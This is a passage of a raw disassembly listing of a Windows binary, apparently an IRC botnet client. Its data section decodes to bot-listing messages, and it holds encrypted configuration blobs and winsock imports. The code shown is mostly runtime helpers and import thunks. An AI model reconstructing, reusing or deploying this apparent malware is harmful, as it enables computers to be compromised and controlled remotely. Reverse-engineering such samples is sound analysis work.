		jmp	dword_417164
sub_416CF8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416CFE	proc near		; CODE XREF: sub_409226+55p
					; sub_4092A4+55p ...
		jmp	dword_417160
sub_416CFE	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_416D10	proc near		; CODE XREF: sub_409226+42p
					; sub_4092A4+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_416D31
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx

loc_416D31:				; CODE XREF: sub_416D10+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_416D4D
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx

loc_416D4D:				; CODE XREF: sub_416D10+27j
		or	eax, eax
		jnz	short loc_416D69
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_416DAA
; ---------------------------------------------------------------------------

loc_416D69:				; CODE XREF: sub_416D10+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]

loc_416D77:				; CODE XREF: sub_416D10+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_416D77
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_416DA5
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_416DA5
		jb	short loc_416DA6
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_416DA6

loc_416DA5:				; CODE XREF: sub_416D10+85j
					; sub_416D10+8Bj
		dec	esi

loc_416DA6:				; CODE XREF: sub_416D10+8Dj
					; sub_416D10+93j
		xor	edx, edx
		mov	eax, esi

loc_416DAA:				; CODE XREF: sub_416D10+57j
		dec	edi
		jnz	short loc_416DB4
		neg	edx
		neg	eax
		sbb	edx, 0

loc_416DB4:				; CODE XREF: sub_416D10+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_416D10	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DBA	proc near		; DATA XREF: sub_4093B6+Ao
					; sub_4094E6+Ao ...
		jmp	dword_41715C
sub_416DBA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DC0	proc near		; CODE XREF: sub_409479+41p
					; sub_4095A4+162p
		jmp	dword_417158
sub_416DC0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DC6	proc near		; CODE XREF: sub_4095A4+11Bp
		jmp	dword_417154
sub_416DC6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DCC	proc near		; CODE XREF: sub_409CB1+105p
					; sub_409CB1+114p ...
		jmp	dword_417150
sub_416DCC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DD2	proc near		; CODE XREF: sub_409CB1+42p
					; sub_409CB1+88p
		jmp	dword_41714C
sub_416DD2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DD8	proc near		; CODE XREF: sub_409CB1+1Ap
					; sub_409DD0+13Bp
		jmp	dword_417148
sub_416DD8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DDE	proc near		; CODE XREF: sub_40A2D2+13Ep
					; sub_40A9CF+1F6p ...
		jmp	dword_417144
sub_416DDE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DE4	proc near		; CODE XREF: sub_40A8AD+90p
		jmp	dword_417140
sub_416DE4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DEA	proc near		; CODE XREF: sub_40A9CF+185Cp
		jmp	dword_41713C
sub_416DEA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DF0	proc near		; CODE XREF: sub_40D420+47p
					; sub_40D4AB+50p ...
		jmp	dword_417138
sub_416DF0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DF6	proc near		; CODE XREF: sub_40EF59+6Bp
					; sub_40EF59+C1p
		jmp	dword_417134
sub_416DF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DFC	proc near		; CODE XREF: sub_40F040+52p
					; sub_40F040+A8p
		jmp	dword_417130
sub_416DFC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416E02	proc near		; CODE XREF: sub_40F040+1Ep
		jmp	dword_417128
sub_416E02	endp

; ---------------------------------------------------------------------------

loc_416E08:				; CODE XREF: BrattyUS:00416FE2j
		jmp	dword_417124
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_416E10	proc near		; CODE XREF: sub_414EF4+5p
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_416E10	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416E30	proc near		; CODE XREF: sub_4048EF+4Ep
					; sub_4048EF+2CFp ...
		jmp	dword_4171F8
sub_416E30	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_416E40	proc near		; CODE XREF: sub_414EF4+EAp
					; sub_414EF4+1E2p ...

arg_0		= dword	ptr  4

		push	0
		push	[esp+4+arg_0]
		call	sub_416EAF
		retn	4
sub_416E40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416E4E	proc near		; CODE XREF: sub_414EF4+134p
					; sub_414EF4+2D8p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		and	[ebp+var_4], 0
		test	eax, eax
		jz	short loc_416EA0
		mov	ecx, [eax]
		lea	edx, [ebp+arg_4]
		push	edx
		push	offset dword_41DEA0
		push	eax
		call	dword ptr [ecx]
		test	eax, eax
		jl	short loc_416EA0
		mov	eax, [ebp+arg_4]
		push	esi
		push	[ebp+arg_8]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+0Ch]
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+8]
		test	esi, esi
		pop	esi
		jnz	short loc_416EA0
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		call	dword_4171C8
		test	eax, eax
		jz	short loc_416EA0
		and	[ebp+var_4], 0

loc_416EA0:				; CODE XREF: sub_416E4E+Dj
					; sub_416E4E+1Fj ...
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_416EAF
		leave
		retn	0Ch
sub_416E4E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416EAF	proc near		; CODE XREF: sub_416E40+6p
					; sub_416E4E+58p

var_10		= byte ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	0
		lea	ecx, [ebp+var_10]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416ED3
		lea	eax, [ebp+var_10]
		push	offset dword_4173B8
		push	eax
		call	sub_416FA2	; _CxxThrowException
sub_416EAF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_416ED3	proc near		; CODE XREF: sub_416EAF+11p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		and	dword ptr [esi+0Ch], 0
		mov	[esi+4], eax
		mov	eax, [esp+4+arg_4]
		mov	dword ptr [esi], offset	off_4172B4
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_416EFF
		cmp	[esp+4+arg_8], 0
		jz	short loc_416EFF
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]

loc_416EFF:				; CODE XREF: sub_416ED3+1Dj
					; sub_416ED3+24j
		mov	eax, esi
		pop	esi
		retn	0Ch
sub_416ED3	endp


; =============== S U B	R O U T	I N E =======================================



sub_416F05	proc near		; DATA XREF: BrattyUS:off_4172B4o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_416F4E
		test	[esp+4+arg_0], 1
		jz	short loc_416F1B
		push	esi
		call	sub_416DCC	; ??3@YAXPAX@Z
		pop	ecx

loc_416F1B:				; CODE XREF: sub_416F05+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_416F05	endp

; ---------------------------------------------------------------------------
		mov	eax, [esp+4]
		push	esi
		mov	esi, ecx
		mov	ecx, [eax+4]
		mov	[esi+4], ecx
		mov	eax, [eax+8]
		and	dword ptr [esi+0Ch], 0
		mov	[esi+8], eax
		test	eax, eax
		mov	dword ptr [esi], offset	off_4172B4
		jz	short loc_416F48
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]

loc_416F48:				; CODE XREF: BrattyUS:00416F40j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_416F4E	proc near		; CODE XREF: sub_416F05+3p
					; DATA XREF: BrattyUS:004173BCo
		push	esi
		mov	esi, ecx
		mov	eax, [esi+8]
		mov	dword ptr [esi], offset	off_4172B4
		test	eax, eax
		jz	short loc_416F64
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

loc_416F64:				; CODE XREF: sub_416F4E+Ej
		mov	esi, [esi+0Ch]
		test	esi, esi
		jz	short loc_416F72
		push	esi
		call	dword_4170B0	; LocalFree

loc_416F72:				; CODE XREF: sub_416F4E+1Bj
		pop	esi
		retn
sub_416F4E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416F74	proc near		; CODE XREF: sub_401244+120p
					; sub_406E8E+DAp ...
		jmp	dword_4171C0
sub_416F74	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416F7A	proc near		; CODE XREF: sub_4020C2+113p
					; sub_4038BA+22Fp ...
		jmp	dword_417114
sub_416F7A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416F80	proc near		; CODE XREF: sub_402A32+CCp
					; sub_402A32+2B9p ...
		jmp	dword_417118
sub_416F80	endp


; =============== S U B	R O U T	I N E =======================================



sub_416F86	proc near		; DATA XREF: BrattyUS:off_4172BCo

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_416FA8	; ??1type_info@@UAE@XZ
		test	[esp+4+arg_0], 1
		jz	short loc_416F9C
		push	esi
		call	sub_416DCC	; ??3@YAXPAX@Z
		pop	ecx

loc_416F9C:				; CODE XREF: sub_416F86+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_416F86	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416FA2	proc near		; CODE XREF: sub_416EAF+1Fp
		jmp	dword_41711C
sub_416FA2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416FA8	proc near		; CODE XREF: sub_416F86+3p
		jmp	dword_417120
sub_416FA8	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-0A00h]
		call	sub_415B3F
		retn
; ---------------------------------------------------------------------------

loc_416FBC:				; DATA XREF: BrattyUS:0041737Co
		lea	ecx, [ebp-10h]
		call	sub_415B3F
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0DF8h]
		call	sub_415B3F
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0E14h]
		call	sub_415B3F
		retn
; ---------------------------------------------------------------------------

loc_416FDD:				; DATA XREF: sub_414EF4o
		mov	eax, offset dword_417350
		jmp	loc_416E08
; ---------------------------------------------------------------------------
		align 4
		dd 6 dup(0)
dword_417000	dd 77DD7F3Eh		; DATA XREF: sub_401000+C6r
					; BrattyUS:loc_42001Bo
dword_417004	dd 77DD5C55h		; DATA XREF: sub_401000+11Ar
					; sub_406C51+96r
dword_417008	dd 77DD22EAh		; DATA XREF: sub_401000+65r
					; sub_406722+184r ...
dword_41700C	dd 77DD23D7h		; DATA XREF: sub_406722+1C3r
					; sub_4083AD+2DDr ...
dword_417010	dd 77DD59F0h		; DATA XREF: sub_406C51+88r
dword_417014	dd 77DD590Bh		; DATA XREF: sub_406C51+26r
dword_417018	dd 77DDACABh		; DATA XREF: sub_4083AD+E6r
dword_41701C	dd 77DE042Eh		; DATA XREF: sub_4102AE+62r
dword_417020	dd 77DE03D2h		; DATA XREF: sub_4102AE+27r
					; sub_4102AE+37r ...
dword_417024	dd 77DDEBA2h		; DATA XREF: sub_4102AE+17r
dword_417028	dd 77DD189Ah		; DATA XREF: sub_401000+136r
					; sub_406722+2F9r ...
		align 10h
dword_417030	dd 77E7C657h		; DATA XREF: sub_4083AD+11Er
					; sub_40D043+20Br ...
dword_417034	dd 77E7513Ch		; DATA XREF: sub_408342+10r
					; sub_408342+4Br
dword_417038	dd 77E705C5h		; DATA XREF: sub_406D47+41r
dword_41703C	dd 77E74672h		; DATA XREF: sub_406C51+6Fr
					; sub_414EF4+8EEr
dword_417040	dd 77E705B0h		; DATA XREF: sub_406B81+15r
dword_417044	dd 77E7A837h		; DATA XREF: sub_406B81+47r
					; sub_406B81+95r ...
dword_417048	dd 77E73CE2h		; DATA XREF: sub_406B81+6Er
dword_41704C	dd 77E7011Ah		; DATA XREF: sub_406B81+BCr
dword_417050	dd 77E704FCh		; DATA XREF: sub_406A23+15r
					; sub_406AE7+15r ...
dword_417054	dd 77E805D8h		; DATA XREF: sub_403BD3+Br
					; sub_403BD3+32r ...
dword_417058	dd 77E7A5FDh		; DATA XREF: sub_403BD3+22r
					; sub_403BD3+4Dr ...
dword_41705C	dd 77E75CB5h		; DATA XREF: sub_40332B+227r
					; sub_407148+18Br ...
dword_417060	dd 77E6BD13h		; DATA XREF: sub_402A32+ECr
					; sub_406E8E+1FEr
dword_417064	dd 77F5157Dh		; DATA XREF: sub_402A32+F6r
					; sub_409CB1+CFr ...
dword_417068	dd 77E79D8Ch		; DATA XREF: sub_401D39+22r
					; sub_406D90+D3r
dword_41706C	dd 77E6CBF9h		; DATA XREF: sub_401981+4Fr
dword_417070	dd 77E7727Ah		; DATA XREF: sub_401981+9Er
					; sub_401981+D7r
dword_417074	dd 77E79C90h		; DATA XREF: sub_401981+104r
					; sub_401981+111r
dword_417078	dd 77E65F4Ch		; DATA XREF: sub_4083AD+FAr
dword_41707C	dd 77E61BB8h		; DATA XREF: sub_401981+1C6r
					; sub_406E8E+2A5r
dword_417080	dd 77EB7624h		; DATA XREF: sub_401981+274r
dword_417084	dd 77E7FF65h		; DATA XREF: sub_401981+2B3r
dword_417088	dd 77E78B82h		; DATA XREF: sub_401981+37Br
dword_41708C	dd 77E79F93h		; DATA XREF: sub_401244+F2r
					; sub_40332B+1D0r ...
dword_417090	dd 77E7A099h		; DATA XREF: sub_401244+F9r
					; sub_40332B+1D7r ...
dword_417094	dd 77E706B7h		; DATA XREF: sub_401244+159r
					; sub_406041+193r ...
dword_417098	dd 77E61A54h		; DATA XREF: sub_401244+21Dr
					; sub_406509+91r
dword_41709C	dd 77E61BE6h		; DATA XREF: sub_401244+3C6r
					; sub_401244+4F4r ...
dword_4170A0	dd 77E616B4h		; DATA XREF: sub_401244+439r
					; sub_406643+3Br
dword_4170A4	dd 77E77963h		; DATA XREF: sub_401244+471r
					; sub_401244+4C1r ...
dword_4170A8	dd 77E70396h		; DATA XREF: sub_401146+11r
					; sub_406E8E+22Ar ...
dword_4170AC	dd 77E73628h		; DATA XREF: sub_401146+23r
					; sub_401E38+30r ...
dword_4170B0	dd 77E79A45h		; DATA XREF: sub_416F4E+1Er
dword_4170B4	dd 77E7AC37h		; DATA XREF: sub_40A1A7+106r
dword_4170B8	dd 77E75090h		; DATA XREF: sub_40D74D+87r
dword_4170BC	dd 77E74D76h		; DATA XREF: sub_40D74D+4Ar
dword_4170C0	dd 77E77797h		; DATA XREF: sub_40D74D+33r
dword_4170C4	dd 77E76C1Ah		; DATA XREF: sub_4083AD+33r
dword_4170C8	dd 77E686CCh		; DATA XREF: sub_408E8E+4Br
					; sub_408F2E+134r
dword_4170CC	dd 77E6C0E3h		; DATA XREF: sub_408E8E+1Ar
					; sub_408F2E+7Fr ...
dword_4170D0	dd 77E7751Ah		; DATA XREF: sub_409226:loc_40928Er
					; sub_4092A4:loc_409307r ...
dword_4170D4	dd 77E6D75Bh		; DATA XREF: sub_409226+14r
					; sub_4092A4+14r ...
dword_4170D8	dd 77E802FCh		; DATA XREF: sub_409226+Ar
					; sub_4092A4+Ar ...
dword_4170DC	dd 77E7176Ch		; DATA XREF: sub_4093B6+51r
dword_4170E0	dd 77E75CEBh		; DATA XREF: sub_4098F3+A2r
					; sub_4098F3+1B6r
dword_4170E4	dd 77E79908h		; DATA XREF: sub_409C36+2Er
dword_4170E8	dd 77E80656h		; DATA XREF: sub_401244+D7r
					; sub_406643+19r
dword_4170EC	dd 77F7E21Fh		; DATA XREF: sub_409C6C+6r
dword_4170F0	dd 77E79CE3h		; DATA XREF: sub_401981+118r
dword_4170F4	dd 77E78C17h		; DATA XREF: sub_4167F1+31r
dword_4170F8	dd 77E7C2C4h		; DATA XREF: sub_4167F1+A8r
dword_4170FC	dd 77E73167h		; DATA XREF: sub_414EF4+5AAr
					; sub_414EF4+5BCr ...
dword_417100	dd 77E73BEFh		; DATA XREF: sub_414EF4+9C0r
dword_417104	dd 77E7AC5Eh		; DATA XREF: sub_4148CE+B0r
dword_417108	dd 77E76432h		; DATA XREF: sub_40D871+29Br
					; sub_414EF4+5CEr ...
dword_41710C	dd 77F7E300h		; DATA XREF: sub_409C7A+6r
		dd 0
dword_417114	dd 77C1C055h		; DATA XREF: BrattyUS:003EB510o
					; sub_416F7Ar
dword_417118	dd 77C423F5h		; DATA XREF: sub_416F80r
dword_41711C	dd 77C219F5h		; DATA XREF: sub_416FA2r
dword_417120	dd 77C20C5Bh		; DATA XREF: sub_416FA8r
dword_417124	dd 77C21AD8h		; DATA XREF: BrattyUS:loc_416E08r
dword_417128	dd 77C43150h		; DATA XREF: sub_416E02r
dword_41712C	dd 77C41FA0h		; DATA XREF: sub_416B3Ar
dword_417130	dd 77C33FDEh		; DATA XREF: sub_416DFCr
dword_417134	dd 77C33FC1h		; DATA XREF: sub_416DF6r
dword_417138	dd 77C3CE0Ch		; DATA XREF: sub_416DF0r
dword_41713C	dd 77C42D60h		; DATA XREF: sub_416DEAr
dword_417140	dd 77C1C6F3h		; DATA XREF: sub_416DE4r
dword_417144	dd 77C435C0h		; DATA XREF: sub_416DDEr
dword_417148	dd 77C3E5D9h		; DATA XREF: sub_416DD8r
dword_41714C	dd 77C28925h		; DATA XREF: sub_416DD2r
dword_417150	dd 77C28933h		; DATA XREF: sub_416DCCr
dword_417154	dd 77C3CCE7h		; DATA XREF: sub_416DC6r
dword_417158	dd 77C37FEDh		; DATA XREF: sub_416DC0r
dword_41715C	dd 77C33EB0h		; DATA XREF: sub_416DBAr
dword_417160	dd 77C4B940h		; DATA XREF: sub_416CFEr
dword_417164	dd 77C4B120h		; DATA XREF: sub_416CF8r
dword_417168	dd 77C37ADCh		; DATA XREF: sub_416BFCr
dword_41716C	dd 77C2AC58h		; DATA XREF: sub_416BF6r
dword_417170	dd 77C438C0h		; DATA XREF: sub_416BF0r
dword_417174	dd 77C3C93Ch		; DATA XREF: sub_416BAEr
dword_417178	dd 77C43AB0h		; DATA XREF: sub_416BA8r
dword_41717C	dd 77C3E8C0h		; DATA XREF: sub_416BA2r
dword_417180	dd 77C1BE00h		; DATA XREF: sub_416B9Cr
dword_417184	dd 77C3E140h		; DATA XREF: sub_416B96r
dword_417188	dd 77C3DFB5h		; DATA XREF: sub_416B90r
dword_41718C	dd 77C3BF06h		; DATA XREF: sub_416B88r
dword_417190	dd 77C3D8F6h		; DATA XREF: sub_416B82r
dword_417194	dd 77C3E4B9h		; DATA XREF: sub_416B7Cr
dword_417198	dd 77C3E303h		; DATA XREF: sub_416B76r
dword_41719C	dd 77C41FB0h		; DATA XREF: sub_416B70r
dword_4171A0	dd 77C43490h		; DATA XREF: sub_416B6Ar
dword_4171A4	dd 77C46553h		; DATA XREF: sub_416B64r
dword_4171A8	dd 77C3C813h		; DATA XREF: sub_416B5Er
dword_4171AC	dd 77C43900h		; DATA XREF: sub_416B58r
dword_4171B0	dd 77C42E10h		; DATA XREF: sub_416B52r
dword_4171B4	dd 77C2AA6Bh		; DATA XREF: sub_416B4Cr
dword_4171B8	dd 77C2AC46h		; DATA XREF: sub_416B46r
dword_4171BC	dd 77C43710h		; DATA XREF: sub_416B40r
dword_4171C0	dd 77C421A2h		; DATA XREF: sub_416F74r
		align 8
dword_4171C8	dd 7713BC68h		; DATA XREF: sub_416E4E+44r
		align 10h
dword_4171D0	dd 77428B97h		; DATA XREF: sub_401D6E+2Dr
					; sub_402A32+79Br ...
		align 8
dword_4171D8	dd 77D4456Bh		; DATA XREF: sub_40A9CF+121r
dword_4171DC	dd 77D79D1Ch		; DATA XREF: sub_414EF4+76Dr
dword_4171E0	dd 77D4C96Ah		; DATA XREF: sub_406D90+B0r
					; sub_408F2E+1D1r ...
dword_4171E4	dd 77D5C13Ah		; DATA XREF: sub_40A9CF+128r
					; sub_415B60+84r
dword_4171E8	dd 77D4BDCAh		; DATA XREF: sub_40D734+Br
dword_4171EC	dd 77D4702Fh		; DATA XREF: sub_40D74D+6Cr
					; sub_40D74D+7Er
		dd 0
dword_4171F4	dd 71AB3E5Dh		; DATA XREF: sub_404FE7+C5r
					; sub_4050EA+106r ...
dword_4171F8	dd 71AB1B7Bh		; DATA XREF: sub_416E30r
dword_4171FC	dd 71AB868Dh		; DATA XREF: sub_4048EF+11Er
					; sub_4048EF+39Fr
dword_417200	dd 71AB8629h		; DATA XREF: sub_40538D+8r
					; sub_412A3A+178r ...
dword_417204	dd 71AB3F8Dh		; DATA XREF: sub_4046BC+114r
					; sub_4055E5+7Br ...
dword_417208	dd 71AB3ECEh		; DATA XREF: sub_4046BC+129r
					; sub_411DC5+DFr ...
dword_41720C	dd 71AB1AF4h		; DATA XREF: sub_4053BF+Fr
					; sub_40A9CF+1A74r
dword_417210	dd 71ABF628h		; DATA XREF: sub_4044F7+21r
					; sub_4045B2+21r
dword_417214	dd 71AB155Ah		; DATA XREF: sub_404457+1Cr
					; sub_40447B+10r
dword_417218	dd 71AB3C22h		; DATA XREF: sub_40432E+Ar
					; sub_4046BC+CEr ...
dword_41721C	dd 71AB401Ch		; DATA XREF: sub_4038BA+72r
					; sub_40732D+1A8r ...
dword_417220	dd 71ABD755h		; DATA XREF: sub_4038BA+D0r
					; sub_4038BA+171r ...
dword_417224	dd 71AB1740h		; DATA XREF: sub_4038BA+E5r
					; sub_4038BA+186r ...
dword_417228	dd 71ABD850h		; DATA XREF: sub_4038BA+28Dr
dword_41722C	dd 71AB1890h		; DATA XREF: sub_4048EF+265r
					; sub_404E1C+E0r ...
dword_417230	dd 71AB1A6Dh		; DATA XREF: sub_4053B1+6r
					; sub_40A9CF+1A80r ...
dword_417234	dd 71AB350Dh		; DATA XREF: sub_403588+23r
					; sub_403588+4Ar ...
dword_417238	dd 71AB1746h		; DATA XREF: sub_403588+BAr
					; sub_403588+1FEr ...
dword_41723C	dd 71AB2BBFh		; DATA XREF: sub_403588+151r
					; sub_4055E5+F3r ...
dword_417240	dd 71AB157Eh		; DATA XREF: sub_4020C2+B9r
					; sub_40449C+21r ...
dword_417244	dd 71AB12F8h		; DATA XREF: sub_4020C2+1FAr
					; sub_4055E5+DDr ...
dword_417248	dd 71AB5690h		; DATA XREF: sub_401E38+106r
					; sub_4053DC+27r ...
dword_41724C	dd 71AB12A7h		; DATA XREF: sub_401E38+141r
					; sub_4020C2+201r
dword_417250	dd 71AB1ED3h		; DATA XREF: sub_4055E5+7F2r
					; sub_411DC5+372r ...
dword_417254	dd 71AB1836h		; DATA XREF: sub_406E8E+2ABr
					; sub_407148+183r ...
dword_417258	dd 71AB1444h		; DATA XREF: sub_411DC5+2A1r
dword_41725C	dd 71AB14DCh		; DATA XREF: sub_415F69+157r
dword_417260	dd 71AB32CAh		; DATA XREF: sub_415F69+81r
dword_417264	dd 71AB41DAh		; DATA XREF: sub_4167F1+201r
dword_417268	dd 71AB5DE2h		; DATA XREF: sub_4046BC+14Dr
		align 10h
flt_417270	dd 1.0e3		; DATA XREF: sub_401E38+207r
					; sub_401E38+22Fr ...
flt_417274	dd 1.024e3		; DATA XREF: sub_408B30+2A2r
dword_417278	dd 0FFFFFFFFh, 409449h,	40945Fh, 0 ; DATA XREF:	sub_4093B6+5o
dword_417288	dd 0FFFFFFFFh, 409572h,	40958Ah, 0 ; DATA XREF:	sub_4094E6+5o
dword_417298	dd 0FFFFFFFFh, 416AE7h,	416AFDh, 0 ; DATA XREF:	sub_4167F1+5o
		dd offset sub_416AC5
		dd offset sub_416ADB
		dd offset dword_4172F0
off_4172B4	dd offset sub_416F05	; DATA XREF: sub_416ED3+12o
					; BrattyUS:00416F3Ao ...
		dd offset dword_417338
off_4172BC	dd offset sub_416F86	; DATA XREF: BrattyUS:off_41DEB0o
					; BrattyUS:off_41DED0o
off_4172C0	dd offset off_41DEB0	; DATA XREF: BrattyUS:004172D8o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_4172C0
dword_4172DC	dd 3 dup(0)		; DATA XREF: BrattyUS:00417300o
		dd 1, 4172D8h
dword_4172F0	dd 3 dup(0)		; DATA XREF: BrattyUS:004172B0o
		dd offset off_41DEB0
		dd offset dword_4172DC+4
		align 8
off_417308	dd offset off_41DED0	; DATA XREF: BrattyUS:00417320o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_417308
		dd 0
		db    0			; DATA XREF: BrattyUS:00417348o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1, 417320h
dword_417338	dd 3 dup(0)		; DATA XREF: BrattyUS:004172B8o
		dd offset off_41DED0
		dd offset unk_417328
		align 10h
dword_417350	dd 19930520h, 4, 417370h, 5 dup(0) ; DATA XREF:	BrattyUS:loc_416FDDo
		dd 0FFFFFFFFh, 416FB0h,	0
		dd offset loc_416FBC
		dd 1, 416FC5h, 2, 416FD1h, 0
		dd offset off_41DEB0
		dd 0
		dd 0FFFFFFFFh, 0
		dd 10h,	416F21h, 0
dword_4173B0	dd 1, 417390h		; DATA XREF: BrattyUS:004173C4o
dword_4173B8	dd 0			; DATA XREF: sub_416EAF+19o
		dd offset sub_416F4E
		dd 0
		dd offset dword_4173B0
		dd 30Eh	dup(0)
off_418000	dd offset dword_418098	; DATA XREF: sub_401000+1Dr
					; sub_401000+2Er ...
		dd offset dword_41805C
		dd offset aKnJnuXxQEzds	; "ߕ帚ɟ"
		dd offset dword_418014
		dd 0
dword_418014	dd 0BC8A9BAAh, 8B88998Dh, 93C484B7h, 0C9AAA3F9h, 87ABB697h
					; DATA XREF: BrattyUS:0041800Co
		dd 0BCB187A4h, 98D9B59Eh, 0CA86A5E3h, 89AA8EA5h, 2 dup(0)
aKnJnuXxQEzds	db 'ߕ帚ɟ',0 ; DATA XREF: BrattyUS:00418008o
		align 4
		dd 0
dword_41805C	dd 9CBFADAAh, 0ADA6B5BFh, 95DFBB9Eh, 0C99AB8E5h, 0BF85B69Fh
					; DATA XREF: BrattyUS:00418004o
		dd 0A7B0BAA1h, 0B5EA85B5h, 0C39BA5E2h, 8D8FB697h, 0A7BDA7BAh
		dd 83E4AAACh, 0D48C84F9h, 8DBAAB8Fh, 0BBh, 0
dword_418098	dd 9CBFADAAh, 0ADA6B5BFh, 95DFBB9Eh, 0C99AB8E5h, 0BF85B69Fh
					; DATA XREF: BrattyUS:off_418000o
		dd 0A7B0BAA1h, 0B5EA85B5h, 0C39BA5E2h, 8D8FB697h, 0A7BDA7BAh
		dd 83E4AAACh, 0F9h, 0
dword_4180CC	dd 2343003h, 2037525h, 746F6220h, 20297328h, 6E756F66h
					; DATA XREF: sub_401244+52Do
		dd 69772064h, 73206874h, 6E697274h, 30032067h, 73250234h
		dd 2E0203h
dword_4180F8	dd 62206F4Eh, 2073746Fh, 6E756F66h, 69772064h, 73206874h
					; DATA XREF: sub_401244+50Ao
		dd 6E697274h, 30032067h, 73250234h, 2E0203h
dword_41811C	dd 6E756F66h, 74732064h, 676E6972h, 34300320h, 3732502h
					; DATA XREF: sub_401244+412o
		dd 6E692002h, 20732520h, 34300328h, 3692502h, 2902h
dword_418144	dd 3430032Dh, 3752502h,	4C202D02h, 69747369h, 6220676Eh
					; DATA XREF: sub_401244+45o
		dd 2073746Fh, 68746977h, 72747320h, 20676E69h, 2343003h
		dd 2037325h, 3Ah
